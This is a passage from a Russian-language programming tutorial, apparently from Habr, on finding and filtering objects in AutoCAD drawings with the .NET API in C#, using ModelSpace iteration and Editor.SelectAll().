// имя создаваемого блока
const string blockName = "block-2";
// начинаем транзакцию
Transaction tr = db.TransactionManager.StartTransaction();
using (tr)
{
// открываем таблицу блоков на запись
BlockTable bt = (BlockTable)tr.GetObject(db.BlockTableId, OpenMode.ForWrite);
// проверяем, нет ли в таблице блока с таким именем; если есть - заканчиваем выполнение команды
if (bt.Has(blockName))
{
return;
}
// создаем новое определение блока, задаем ему имя
BlockTableRecord btr = new BlockTableRecord();
btr.Name = blockName;
// добавляем созданное определение блока в таблицу блоков и в транзакцию
bt.Add(btr);
tr.AddNewlyCreatedDBObject(btr, true);
// добавляем к блоку элементы
// создаем окружность
Circle acCircle = new Circle();
// устанавливаем параметры созданного объекта
acCircle.SetDatabaseDefaults();
acCircle.Center = Point3d.Origin;
acCircle.Radius = 25;
// добавляем созданный объект определение блока и в транзакцию
btr.AppendEntity(acCircle);
tr.AddNewlyCreatedDBObject(acCircle, true);
// создаем первую линию
Line acLine_1 = new Line(new Point3d(0, -25, 0), new Point3d(0, -50, 0));
// устанавливаем параметры созданного объекта равными параметрам по умолчанию
acLine_1.SetDatabaseDefaults();
// добавляем созданный объект в определение блока и в транзакцию
btr.AppendEntity(acLine_1);
tr.AddNewlyCreatedDBObject(acLine_1, true);
// создаем вторую линию
Line acLine_2 = new Line(new Point3d(-7, -39, 0), new Point3d(7, -39, 0));
// устанавливаем параметры созданного объекта равными параметрам по умолчанию
acLine_2.SetDatabaseDefaults();
// добавляем созданный объект в определение блока и в транзакцию
btr.AppendEntity(acLine_2);
tr.AddNewlyCreatedDBObject(acLine_2, true);
// фиксируем транзакцию
tr.Commit();
}
}
// создаем объекты на нулевом слое
public void layer_0_createObjects()
{
// получаем текущий документ и его БД
Document doc = acad.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// открываем таблицу блоков документа
BlockTable acBlkTbl;
acBlkTbl = tr.GetObject(db.BlockTableId, OpenMode.ForRead) as BlockTable;
// открываем пространство модели (Model Space) - оно является одной из записей в таблице блоков документа
BlockTableRecord ms = tr.GetObject(acBlkTbl[BlockTableRecord.ModelSpace], OpenMode.ForWrite) as BlockTableRecord;
// добавляем розовую линию
Line acLine_1 = new Line(new Point3d(225, 225, 0), new Point3d(225, 175, 0));
// устанавливаем параметры созданного объекта равными параметрам по умолчанию
acLine_1.SetDatabaseDefaults();
// устанавливаем для объекта нужный слой и цвет
acLine_1.Layer = "0";
acLine_1.Color = color_Pink;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acLine_1);
tr.AddNewlyCreatedDBObject(acLine_1, true);
// добавляем голубую линию
Line acLine_2 = new Line(new Point3d(250, 225, 0), new Point3d(250, 175, 0));
// устанавливаем параметры созданного объекта равными параметрам по умолчанию
acLine_2.SetDatabaseDefaults();
// устанавливаем для объекта нужный слой и цвет
acLine_2.Layer = "0";
acLine_2.Color = color_Blue;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acLine_2);
tr.AddNewlyCreatedDBObject(acLine_2, true);
// добавляем салатовую линию
Line acLine_3 = new Line(new Point3d(275, 225, 0), new Point3d(275, 175, 0));
// устанавливаем параметры созданного объекта равными параметрам по умолчанию
acLine_3.SetDatabaseDefaults();
// устанавливаем для объекта нужный слой и цвет
acLine_3.Layer = "0";
acLine_3.Color = color_LightGreen;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acLine_3);
tr.AddNewlyCreatedDBObject(acLine_3, true);
// добавляем розовую полилинию
Polyline acPolyline = new Polyline();
// устанавливаем параметры созданного объекта равными параметрам по умолчанию
acPolyline.SetDatabaseDefaults();
// добавляем к полилинии вершины
acPolyline.AddVertexAt(0, new Point2d(300, 225), 0, 0, 0);
acPolyline.AddVertexAt(1, new Point2d(325, 175), 0, 0, 0);
acPolyline.AddVertexAt(2, new Point2d(350, 225), 0, 0, 0);
// устанавливаем для объекта нужный слой и цвет
acPolyline.Layer = "0";
acPolyline.Color = color_Pink;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acPolyline);
tr.AddNewlyCreatedDBObject(acPolyline, true);
// добавляем голубую окружность
Circle acCircle = new Circle();
// устанавливаем параметры созданного объекта
acCircle.SetDatabaseDefaults();
acCircle.Center = new Point3d(400, 200, 0);
acCircle.Radius = 25;
// устанавливаем для объекта нужный слой и цвет
acCircle.Layer = "0";
acCircle.Color = color_Blue;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acCircle);
tr.AddNewlyCreatedDBObject(acCircle, true);
// добавляем салатовый текст
DBText text = new DBText();
text.Position = new Point3d(450, 175, 0);
text.Height = 50;
text.TextString = "HABR!";
// устанавливаем для объекта нужный слой и цвет
text.Layer = "0";
text.Color = color_LightGreen;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(text);
tr.AddNewlyCreatedDBObject(text, true);
// фиксируем изменения
tr.Commit();
}
}
// создаем объекты на слое "layer-1"
public void layer_1_createObjects()
{
// получаем текущий документ и его БД
Document doc = acad.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// запоминаем текущий слой и временно меняем его на нужный нам
// (это позволит не задавать слой отдельно для каждого создаваемого объекта)
ObjectId currentLayer = db.Clayer;
db.Clayer = layer_1;
// открываем таблицу блоков документа
BlockTable acBlkTbl;
acBlkTbl = tr.GetObject(db.BlockTableId, OpenMode.ForRead) as BlockTable;
// открываем пространство модели (Model Space) - оно является одной из записей в таблице блоков документа
BlockTableRecord ms = tr.GetObject(acBlkTbl[BlockTableRecord.ModelSpace], OpenMode.ForWrite) as BlockTableRecord;
// добавляем розовую линию
Line acLine_1 = new Line(new Point3d(225, 25, 0), new Point3d(225, -25, 0));
// устанавливаем параметры созданного объекта
acLine_1.SetDatabaseDefaults();
acLine_1.Color = color_Pink;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acLine_1);
tr.AddNewlyCreatedDBObject(acLine_1, true);
// добавляем голубую линию
Line acLine_2 = new Line(new Point3d(250, 25, 0), new Point3d(250, -25, 0));
// устанавливаем параметры созданного объекта
acLine_2.SetDatabaseDefaults();
acLine_2.Color = color_Blue;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acLine_2);
tr.AddNewlyCreatedDBObject(acLine_2, true);
// добавляем салатовую окружность
Circle acCircle = new Circle();
// устанавливаем параметры созданного объекта
acCircle.SetDatabaseDefaults();
acCircle.Center = new Point3d(300, 0, 0);
acCircle.Radius = 25;
acCircle.Color = color_LightGreen;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acCircle);
tr.AddNewlyCreatedDBObject(acCircle, true);
// добавляем розовый текст
DBText text = new DBText();
// устанавливаем параметры созданного объекта
text.Position = new Point3d(350, -25, 0);
text.Height = 50;
text.TextString = "HABR!";
text.Color = color_Pink;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(text);
tr.AddNewlyCreatedDBObject(text, true);
// добавляем вхождение блока "block-1"
// открываем таблицу блоков для чтения
BlockTable bt = (BlockTable)tr.GetObject(db.BlockTableId, OpenMode.ForRead);
// получаем ObjectID блока
ObjectId btrId = bt["block-1"];
// создаем новое вхождение блока, используя полученный ID определения блока
BlockReference br = new BlockReference(new Point3d(600, 0, 0), btrId);
// добавляем вхождение блока на пространство модели и в транзакцию
ms.AppendEntity(br);
tr.AddNewlyCreatedDBObject(br, true);
// возвращаем обратно старый текущий слой
db.Clayer = currentLayer;
// фиксируем изменения
tr.Commit();
}
}
// создаем объекты на слое "layer-2"
public void layer_2_createObjects()
{
// получаем текущий документ и его БД
Document doc = acad.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// запоминаем текущий слой и временно меняем его на нужный нам
// (это позволит не задавать слой отдельно для каждого создаваемого объекта)
ObjectId currentLayer = db.Clayer;
db.Clayer = layer_2;
// открываем таблицу блоков документа
BlockTable acBlkTbl;
acBlkTbl = tr.GetObject(db.BlockTableId, OpenMode.ForRead) as BlockTable;
// открываем пространство модели (Model Space) - оно является одной из записей в таблице блоков документа
BlockTableRecord ms = tr.GetObject(acBlkTbl[BlockTableRecord.ModelSpace], OpenMode.ForWrite) as BlockTableRecord;
// добавляем розовую линию
Line acLine_1 = new Line(new Point3d(225, -175, 0), new Point3d(225, -225, 0));
// устанавливаем параметры созданного объекта
acLine_1.SetDatabaseDefaults();
acLine_1.Color = color_Pink;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acLine_1);
tr.AddNewlyCreatedDBObject(acLine_1, true);
// добавляем голубую дугу
Arc acArc = new Arc(new Point3d(250, -200, 0), 25, -45 / 180.0 * Math.PI, 45 / 180.0 * Math.PI);
// устанавливаем параметры созданного объекта
acArc.SetDatabaseDefaults();
acArc.Color = color_Blue;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acArc);
tr.AddNewlyCreatedDBObject(acArc, true);
// добавляем салатовую окружность
Circle acCircle = new Circle();
// устанавливаем параметры созданного объекта
acCircle.SetDatabaseDefaults();
acCircle.Center = new Point3d(325, -200, 0);
acCircle.Radius = 25;
acCircle.Color = color_LightGreen;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acCircle);
tr.AddNewlyCreatedDBObject(acCircle, true);
// добавляем вхождение блока "block-1"
// открываем таблицу блоков для чтения
BlockTable bt = (BlockTable)tr.GetObject(db.BlockTableId, OpenMode.ForRead);
// получаем ObjectID блока
ObjectId btrId = bt["block-1"];
// создаем новое вхождение блока, используя полученный ID определения блока
BlockReference br = new BlockReference(new Point3d(400, -200, 0), btrId);
// добавляем вхождение блока на пространство модели и в транзакцию
ms.AppendEntity(br);
tr.AddNewlyCreatedDBObject(br, true);
// добавляем вхождение блока "block-2"
// получаем ObjectID блока
btrId = bt["block-2"];
// создаем новое вхождение блока, используя полученный ID определения блока
br = new BlockReference(new Point3d(475, -200, 0), btrId);
// добавляем вхождение блока на пространство модели и в транзакцию
ms.AppendEntity(br);
tr.AddNewlyCreatedDBObject(br, true);
// возвращаем обратно старый текущий слой
db.Clayer = currentLayer;
// фиксируем изменения
tr.Commit();
}
}
// создаем объекты при загрузке плагина
public void Initialize()
{
createLayers();
createBlock_1();
createBlock_2();
layer_0_createObjects();
layer_1_createObjects();
layer_2_createObjects();
}
// функция Terminate() необходима, чтобы реализовать интерфейс IExtensionApplication
public void Terminate()
{
}
}
}
}
```
**Результат:**
Код несложный и принципиальных вопросов вызывать не должен. Давайте быстро пробежимся по некоторым нюансам.
**Момент первый: выполнение операций внутри метода Initialize()**Для начала заметим, что создание всех необходимых объектов происходят прямо во время загрузки плагина. Поскольку создаваемые объекты нужны нам для работы примеров и необходимы для работы любой из команд плагина, их вроде бы можно создавать в рамках метода `Initialize()`.
Однако насколько это правильно и разумно — вопрос очень спорный. Во-первых, создавая что-то автоматически, мы тем самым лишаем пользователя выбора и ставим его перед веселым фактом: привет, чувак, у тебя на чертеже теперь десять новых слоев и сто новых объектов!
Весело будет, но не слишком. Особенно пользователю.
Вторая неприятность состоит в том, что пользователь может случайно или намеренно удалить с чертежа некоторые из созданных объектов. И в этом случае он никак не сможет заново создать эти объекты; для этого ему придется закрыть и заново запустить AutoCAD.
В общем, с выполнением действий при загрузке плагина надо быть «нежнее, еще нежнее» (с). Шутки с этим вполне допустимы в учебном примере, однако на практике стоит трижды подумать перед использованием `Initialize()`. В идеале здесь должны находиться только ~~бетон и металлоконструкции~~ те участки кода, которые:
1. Никак не помешают пользователю и не создадут излишнюю нагрузку на чертеж.
2. Никогда не потребуют повторного вызова (либо же у пользователя должен быть способ этот вызов сделать — вспомните пример из абзаца выше про случайное удаление объектов чертежа).
**NB:**Сейчас с содроганием зашел в репозиторий с кодом реального проекта, зажмурился, открыл глаза…
Уф, все в порядке. Изложенные выше правила *почти* соблюдены.
…
Как там говорится-то? «Кто не может работать — учит»?
**Момент второй: задание слоя объектов двумя способами**При заполнении объектами нулевого слоя (функция `layer_0_createObjects()`) принадлежность к этому слою явно указывается для каждого создаваемого объекта. Пример:
```
acLine_1.Layer = "0";
```
Это понятно и несложно, однако при работе с большим количеством объектов можно запросто забыть задать слой, что нехорошо.
**NB:**Пример из жизни: автор статьи добросовестно скопипастил в функцию `layer_1_createObjects()` код для вставки на чертеж линии из функции `layer_0_createObjects()`, забыв поменять слой на новый. Поиски ошибки и ее исправление заняли какое-то время. Осознав, что так придется делать со всеми примитивами, автор выбесился и решил все сделать другим способом.
Так родилась эта часть статьи.)
Альтернативный способ, уменьшающий вероятность подобной ошибки, был кратко упомянут в одной из предыдущих статей, посвященной слоям. Это использование свойства `Clayer`.
Суть способа состоит в том, что если при создании объекта мы вообще не укажем ему слой, то он будет присвоен автоматически на основе значения свойства `Clayer` базы данных текущего документа. Просмотреть это значение можно так:
```
Document doc = acad.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
ObjectId currentLayer = db.Clayer;
```
Присваивается значение аналогично:
```
Document doc = acad.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
db.Clayer = layer_1; // layer_1 - ObjectID нужного слоя
```
А вот так можно получить `ObjectID` слоя, зная его имя:
```
Document acDoc = Autodesk.AutoCAD.ApplicationServices.Application.DocumentManager.MdiActiveDocument;
Database acCurDb = acDoc.Database;
using (DocumentLock docloc = acDoc.LockDocument())
{
using (Transaction tr = acCurDb.TransactionManager.StartTransaction())
{
LayerTable acLyrTbl = tr.GetObject(acCurDb.LayerTableId, OpenMode.ForWrite) as LayerTable;
ObjectId layer_objID = acLyrTbl["someLayer"]
}
}
```
В нашем примере, чтобы не обращаться каждый раз к таблице слоев, я создал две глобальные переменные — `layer_1` и `layer_2`, в которые сохраняю `ObjectID` слоев «layer-1» и «layer-2» при их создании. А позже, в процедурах `layer_1_createObjects()` и `layer_2_createObjects()`, я использую следующую конструкцию:
```
// ...
ObjectId currentLayer = db.Clayer;
db.Clayer = layer_1;
// ...
// ДОБАВЛЯЕМ НОВЫЕ ОБЪЕКТЫ
// ...
db.Clayer = currentLayer;
// ...
```
Зачем нужно сохранять текущее значение `Clayer` и восстанавливать его в конце функции?
Ну, одна из причин — чтобы пользователь после работы нашей функции смог продолжить добавлять объекты на тот же слой, что и до работы нашей процедуры.
Вторая причина — чтобы самому не путаться и не выяснять потом, почему это в половине запусков объекты добавляются не туда.
Если подключить немого воображения, то, наверное, можно придумать и еще причины. Но зачем?
**Момент третий: техника безопасности**
*Источник: «[Ривелти групп](http://rivelty.ru/portfolio/instruktag-po-ohrane-truda-i-promishlennoy-bezopasnosti/)»*
Хотелось бы еще раз сделать акцент на том, что этот цикл статей рассказывает об основах создания плагинов. Для использования в реальном проекте приведенные примеры должны быть доработаны — в частности, необходимо позаботиться о том, что все используемые объекты реально существуют.
В нашем примере такие проверки не проводятся. Посмотрите: я помещаю графические объекты на созданные ранее слои, помещаю на чертеж вхождения созданных при загрузке блоков — но нигде не проверяю, что эти слои и определения блоков существуют. В реальных проектах пренебрегать такими проверками настоятельно не рекомендуется. Особенно это касается случаев, когда между получением ссылки на объект и операцией над объектом могут произойти какие-нибудь действия пользователя.
В разделе, посвященном редактированию объектов чертежа, я опишу еще несколько ошибок, которые также необходимо отслеживать.
Теперь, когда мы обсудили особенности примера, можно наконец-то перейти к поиску объектов на чертеже. Мы разберем два разных подхода: просмотр объектов чертежа через обращение к объекту `ModelSpace` и получение идентификаторов объектов чертежа с помощью метода `Editor.SelectAll()`.
**NB:**Можно искать объекты и другими способами. Но тут я уже ничем не помогу, ибо лично с ними не сталкивался.
Ближе к концу этой статьи будет ма-аленький бонусный нанораздел, где можно будет оценить масштабы ~~извращений~~ блестящих технических решений, которые приходится использовать ~~людям~~ программистам для оптимизации работы с большим количеством объектов.
1 Поиск объектов чертежа с помощью обращения к объекту `ModelSpace`
===================================================================
1.1 Итерация по всем объектам чертежа
-------------------------------------
Для начала давайте посмотрим, как можно перебрать в цикле все объекты, имеющиеся на чертеже.
Принцип простой: открываем пространство модели (`ModelSpace`) и получаем ссылки на все объекты внутри него. Затем приводим эти объекты к типу `Entity` и обрабатываем нужные нам свойства.
Пример ~~почти~~ полностью заимствован [отсюда](http://spiderinnet1.typepad.com/blog/2012/06/autocad-net-iterate-through-model-space.html) (англ.).
**Код:**
```
[CommandMethod("Habr_IterateThroughAllObjects_1")]
public void iterateThroughAllObjects()
{
// получаем текущую БД
Database db = HostApplicationServices.WorkingDatabase;
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// получаем ссылку на пространство модели (ModelSpace)
BlockTableRecord ms = (BlockTableRecord)tr.GetObject(SymbolUtilityServices.GetBlockModelSpaceId(db), OpenMode.ForRead);
// "пробегаем" по всем объектам в пространстве модели
foreach (ObjectId id in ms)
{
// приводим каждый из них к типу Entity
Entity entity = (Entity)tr.GetObject(id, OpenMode.ForRead);
// выводим в консоль слой (entity.Layer), тип (entity.GetType().ToString()) и цвет (entity.Color) каждого объекта
acad.DocumentManager.MdiActiveDocument.Editor.WriteMessage(string.Format("\nLayer:{0}; Type:{1}; Color: {2},{3},{4}\n",
entity.Layer, entity.GetType().ToString(), entity.Color.Red.ToString(), entity.Color.Green.ToString(), entity.Color.Blue.ToString()));
}
tr.Commit();
}
}
```
**Результат:**
Результат, как можно видеть, полностью совпадает с ожиданиями: у нас 16 объектов, цвета которых чередуются.
Из небольших новшеств: в этом примере мы использовали незнакомое нам свойство `WorkingDatabase` класса `HostApplicationServices`. Оно позволяет получить БД документа, который активен (имеет фокус ввода) в настоящий момент. Еще одно новшество — метод `GetBlockModelSpaceId()` класса `SymbolUtilityServices`, который позволяет быстро получить `ObjectId` пространства модели (`ModelSpace`).
**Вместо новых классов мы, безусловно, могли бы использовать уже знакомые:**
```
// команда для итерации по объектам (подход 1)
[CommandMethod("Habr_IterateThroughAllObjects_1")]
public void iterateThroughAllObjects()
{
// получаем текущий документ и его БД
Document doc = acad.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// получаем ссылку на пространство модели (ModelSpace)
// открываем таблицу блоков документа
BlockTable acBlkTbl = tr.GetObject(db.BlockTableId, OpenMode.ForRead) as BlockTable;
// открываем пространство модели (Model Space) - оно является одной из записей в таблице блоков документа
BlockTableRecord ms = tr.GetObject(acBlkTbl[BlockTableRecord.ModelSpace], OpenMode.ForWrite) as BlockTableRecord;
// "пробегаем" по всем объектам в пространстве модели
foreach (ObjectId id in ms)
{
// приводим каждый из них к типу Entity
Entity entity = (Entity)tr.GetObject(id, OpenMode.ForRead);
// выводим в консоль слой (entity.Layer), тип (entity.GetType().ToString()) и цвет (entity.Color) каждого объекта
acad.DocumentManager.MdiActiveDocument.Editor.WriteMessage(string.Format("\nLayer:{0}; Type:{1}; Color: {2},{3},{4}\n",
entity.Layer, entity.GetType().ToString(), entity.Color.Red.ToString(), entity.Color.Green.ToString(), entity.Color.Blue.ToString()));
}
tr.Commit();
}
}
```
Никакой разницы.
**NB:**С краткой хвалебной одой классу `SymbolUtilityServices` можно ознакомиться [здесь](http://adndevblog.typepad.com/autocad/2012/04/did-you-know-about-this-utility-class.html) (англ.).
Получив ссылку на пространство модели, мы просто пробегаемся по всем его объектам, приводим их к типу `Entity` (чтобы можно было просматривать их свойства) и выводим в консоль данные о слое, типе и цвете очередного объекта.
1.2 Поиск объектов заданного типа
---------------------------------
Давайте попробуем выделить все окружности. Сделаем это на базе предыдущего примера.
Действовать будем так: просмотрим по порядку все объекты чертежа, определим тип каждого объекта; если объект окажется окружностью — выведем информацию о нем в консоль. В прошлой статье нам уже встречалась [ссылка](http://spiderinnet1.typepad.com/blog/2015/02/various-ways-in-vbnet-to-check-object-types-of-autocad-net.html) (англ.), где описаны пять способов узнать тип объекта. Как всегда, не будем отступать от традиций и используем один из самых простых способов:
```
if (entity.GetType() == typeof(Circle))
// если условие верно - значит, это окружность
```
**Код:**
```
[CommandMethod("Habr_FindCircles_1")]
public void findCircles_1()
{
// получаем текущую БД
Database db = HostApplicationServices.WorkingDatabase;
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// получаем ссылку на пространство модели (ModelSpace)
BlockTableRecord ms = (BlockTableRecord)tr.GetObject(SymbolUtilityServices.GetBlockModelSpaceId(db), OpenMode.ForRead);
// "пробегаем" по всем объектам в пространстве модели
foreach (ObjectId id in ms)
{
// приводим каждый из них к типу Entity
Entity entity = (Entity)tr.GetObject(id, OpenMode.ForRead);
// если это окружность - выводим в консоль слой, тип и цвет каждого объекта
if (entity.GetType() == typeof(Circle))
{
acad.DocumentManager.MdiActiveDocument.Editor.WriteMessage(string.Format("\nLayer:{0}; Type:{1}; Color: {2},{3},{4}\n",
entity.Layer, entity.GetType().ToString(), entity.Color.Red.ToString(), entity.Color.Green.ToString(), entity.Color.Blue.ToString()));
}
}
tr.Commit();
}
}
```
**Результат:**
Работает.
Аналогично можно попробовать другие типы. Например, найти все линии:
```
if (entity.GetType() == typeof(Line))
```
Найти все аннотации (текстовые элементы):
```
if (entity.GetType() == typeof(DBText))
```
Все вхождения блоков:
```
if (entity.GetType() == typeof(BlockReference))
```
Выглядит несложно.
А если вдруг подзабудете, как именно называется тип, соответствующий объекту — можно просто добавить такой объект на чертеж вручную и запустить пример итерации по объектам — он выведет название типа в консоль AutoCAD.
1.3 Поиск объектов с заданными свойствами
-----------------------------------------
Попробуем вместо типа поискать какое-нибудь свойство — например, цвет. Найдем все салатовые объекты.
Это очень просто: строку
```
if (entity.GetType() == typeof(Circle))
```
меняем на
```
if (entity.Color == Autodesk.AutoCAD.Colors.Color.FromRgb(128, 255, 64))
```
и смотрим, что получается.)
**Код:**
```
// команда для поиска салатовых объектов (подход 1)
[CommandMethod("Habr_FindLightGreenObjects_1")]
public void findLightGreenObjects_1()
{
// получаем текущую БД
Database db = HostApplicationServices.WorkingDatabase;
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// получаем ссылку на пространство модели (ModelSpace)
BlockTableRecord ms = (BlockTableRecord)tr.GetObject(SymbolUtilityServices.GetBlockModelSpaceId(db), OpenMode.ForRead);
// "пробегаем" по всем объектам в пространстве модели
foreach (ObjectId id in ms)
{
// приводим каждый из них к типу Entity
Entity entity = (Entity)tr.GetObject(id, OpenMode.ForRead);
// если цвет объекта - салатовый, то выводим в консоль слой, тип и цвет каждого объекта
if (entity.Color == Autodesk.AutoCAD.Colors.Color.FromRgb(128, 255, 64))
{
acad.DocumentManager.MdiActiveDocument.Editor.WriteMessage(string.Format("\nLayer:{0}; Type:{1}; Color: {2},{3},{4}\n",
entity.Layer, entity.GetType().ToString(), entity.Color.Red.ToString(), entity.Color.Green.ToString(), entity.Color.Blue.ToString()));
}
}
tr.Commit();
}
}
```
**Результат:**
Аналогично можно осуществлять поиск и по другим атрибутам — например, по слою:
```
if (entity.Layer == "0")
```
**NB:**Сам я глубоко в свойства объектов не залезал. Советую при работе в Visual Studio просто набрать "`Entity test; test.`" — после этого IntelliSense высветит все доступные программисту свойства и методы. Можно пробежаться по этому списку и ознакомиться со свойствами и методами класса Entity:
Класс `Entity` задает свойства, характерные для любого объекта чертежа: слой, цвет и т. п. Если требуется осуществить поиск по свойствам, специфичным для какого-то конкретного класса объектов, то необходимо вначале найти все объекты такого типа, затем выполнить приведение к этому типу и просмотреть значение нужного свойства.
Для примера давайте найдем все вхождения блока «block-1». Класс `Entity` не содержит сведений об имени определения блока; зато эта информация есть в свойстве `Name` класса `BlockReference`.
**Код:**
```
[CommandMethod("Habr_FindBlocks_1")]
public void findBlocks_1()
{
// получаем текущую БД
Database db = HostApplicationServices.WorkingDatabase;
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// получаем ссылку на пространство модели (ModelSpace)
BlockTableRecord ms = (BlockTableRecord)tr.GetObject(SymbolUtilityServices.GetBlockModelSpaceId(db), OpenMode.ForRead);
// "пробегаем" по всем объектам в пространстве модели
foreach (ObjectId id in ms)
{
// приводим каждый из них к типу Entity
Entity entity = (Entity)tr.GetObject(id, OpenMode.ForRead);
// проверяем, является ли объект вхождением блока
if (entity.GetType() == typeof(BlockReference))
{
// если является - приводим его к типу BlockReference
BlockReference br = (BlockReference)entity;
// если имя соответствующего определения блока - "block-1", то выводим в консоль слой, тип и цвет каждого объекта
if (br.Name == "block-1")
{
acad.DocumentManager.MdiActiveDocument.Editor.WriteMessage(string.Format("\nLayer:{0}; Type:{1}; Color: {2},{3},{4}\n",
entity.Layer, entity.GetType().ToString(), entity.Color.Red.ToString(), entity.Color.Green.ToString(), entity.Color.Blue.ToString()));
}
}
}
tr.Commit();
}
}
```
Мы найдем два вхождения блока «block-1».
2 Поиск объектов чертежа с помощью метода `Editor.SelectAll()`
==============================================================
2.1 Итерация по всем объектам чертежа
-------------------------------------
Немного истории: упоминание этого метода есть в [одной из статей](http://through-the-interface.typepad.com/through_the_interface/2008/05/finding-all-the.html) Kean Walmsley (англ.). Кроме того, описание есть на [AutoCAD DevBlog](http://adndevblog.typepad.com/autocad/2012/06/editorselectall-with-entity-and-layer-selection-filter.html) (англ.) и [форуме Сообщества программистов Autodesk в СНГ](http://adn-cis.org/editor.selectall-s-filtrom-vyibora-primitivov-i-sloyov.html) (rus).
Если в предыдущем варианте мы просматривали каждый объект в отдельности, то здесь концепция меняется: мы сразу получаем массив идентификаторов всех интересующих нас объектов, при необходимости отфильтровывая нужные.
Начнем, как обычно, с примера итерации по всем объектам.
**Код:**
```
// команда для итерации по объектам (подход 2)
[CommandMethod("Habr_IterateThroughAllObjects_2")]
public void iterateThroughAllObjects_2()
{
// получаем БД и Editor текущего документа
Document doc = Application.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
Editor ed = doc.Editor;
// пытаемся получить ссылки на все объекты
// ВНИМАНИЕ! Нужно проверить работоспособность метода с замороженными и заблокированными слоями!
PromptSelectionResult selRes = ed.SelectAll();
// если произошла ошибка - сообщаем о ней
if (selRes.Status != PromptStatus.OK)
{
ed.WriteMessage("\nError!\n");
return;
}
// получаем массив ID объектов
ObjectId[] ids = selRes.Value.GetObjectIds();
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// "пробегаем" по всем полученным объектам
foreach (ObjectId id in ids)
{
// приводим каждый из них к типу Entity
Entity entity = (Entity)tr.GetObject(id, OpenMode.ForRead);
// выводим в консоль слой (entity.Layer), тип (entity.GetType().ToString()) и цвет (entity.Color) каждого объекта
acad.DocumentManager.MdiActiveDocument.Editor.WriteMessage(string.Format("\nLayer:{0}; Type:{1}; Color: {2},{3},{4}\n",
entity.Layer, entity.GetType().ToString(), entity.Color.Red.ToString(), entity.Color.Green.ToString(), entity.Color.Blue.ToString()));
}
tr.Commit();
}
}
```
**Результат:**
Мы вызываем метод `Editor.SelectAll()`. Поскольку никаких фильтров не задано, нам должны вернуться идентификаторы (`ObjectID`) всех объектов на чертеже. Они записываются в переменную типа `PromptSelectionResult`. На всякий случай нужно убедиться, что метод отработал корректно — для этого мы проверяем статус результата (`PromptSelectionResult.Status`). Если что-то не в порядке, значение этого свойства будет отлично от `PromptStatus.OK` — в этом случае мы завершаем выполнение функции.
Если же метод `Editor.SelectAll()` отработал корректно, мы получаем идентификаторы всех объектов, возвращенных этим методом. Для этого мы используем метод `PromptSelectionResult.Value.GetObjectIds()`. После этого мы просто обрабатываем все объекты в цикле — точь-в-точь как в первом разделе, когда мы обращались к `ModelSpace`.
**Важный момент!** Согласно своему [описанию](http://docs.autodesk.com/ACD/2011/FRA/filesMDG/WS1a9193826455f5ff-3859b43c1209703a838778b.htm) (англ.), метод `Editor.SelectAll()` должен возвращать только объекты на слоях, которые НЕ являются заблокированными (*locked*) или замороженными (*frozen*). Однако в этом случае документация, похоже, привирает: `Editor.SelectAll()` всегда возвращает *все* объекты на чертеже, вне зависимости от состояний слоев, на которых они находятся. Подробнее почитать про эту забавность можно [в блоге Kean Walmsley](http://through-the-interface.typepad.com/through_the_interface/2008/05/finding-all-the.html#comment-1292066291) (англ.), [в AutoCAD Devblog](http://adndevblog.typepad.com/autocad/2012/12/when-using-editorselectall-how-can-i-filter-entities-on-frozen-layers-out-net.html) (англ.), [на форумах сообщества Autodesk](http://forums.autodesk.com/t5/net/editor-selectall-to-get-selection-of-object-ids-not-on-locked/td-p/4584613) (англ.).
В общем, мои выводы: *у меня* в AutoCAD 2010 этот подход работает. *Возможно*, он заработает в более новых версиях .NET API. Но что это — ошибка в документации или баг в API, который однажды, быть может, пофиксят, — я сказать не могу.
Краткий итог: аккуратнее с этим.
**Другой важный момент.** Для использования метода `Editor.SelectAll()`, очевидно, необходимо иметь объект класса `Editor`. При работе с документом, который непосредственно открыт в AutoCAD, проблем не возникнет; но использовать данный метод для обработки БД сторонних документов (не открытых в настоящий момент в AutoCAD) [не получится](http://forums.autodesk.com/t5/net/how-to-determine-if-entity-is-a-block/m-p/4965514/highlight/true#M40206) (англ.).
2.2 Использование фильтров
--------------------------
Давайте снова попробуем выделить все окружности. Разумеется, можно сделать все аналогично предыдущему разделу: получить идентификаторы всех объектов и смотреть тип каждого объекта — это сработает. Однако при использовании метода `Editor.SelectAll()` есть возможность действовать по-другому.
Принцип такой: вначале мы задаем фильтр для объектов с помощью класса `SelectionFilter`, а затем применяем этот фильтр в методе `Editor.SelectAll()`. В результате у нас остаются только удовлетворяющие условию фильтра объекты.
**Код:**
```
[CommandMethod("Habr_FindCircles_2")]
public void findCircles_2()
{
// получаем БД и Editor текущего документа
Document doc = Application.DocumentManager.MdiActiveDocument;
